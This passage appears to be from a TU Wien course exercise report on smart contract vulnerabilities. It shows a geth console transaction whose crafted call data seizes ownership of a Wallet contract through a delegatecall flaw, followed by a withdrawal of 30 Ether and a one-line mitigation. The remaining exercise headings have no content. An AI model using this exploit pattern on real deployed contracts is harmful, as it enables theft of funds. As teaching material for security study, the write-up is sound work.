

TU Wien

We can then send this call data to the contract (via the geth console):

```
1 eth.sendTransaction({
2   from: student,
3   to: badparityAddress,
4   data: "0x9da8be21000000000000000000000000f9ac06BAeb6597511C22Dc7b03DA447cA893fb4e",
5   gas: "80000"
6 });
```

The owner of the `Wallet` contract is now our own address. Since we are the owner, we can call the `withdraw` function from the `Wallet` contract:

[illegible]

Our own balance has increased by 30 Ether.

To mitigate this vulnerability the contract should use `call` instead of `delegatecall`.

Exercise B: DAO Down

Exercise C: Fail Dice

Exercise D: Not A Wallet

Work distribution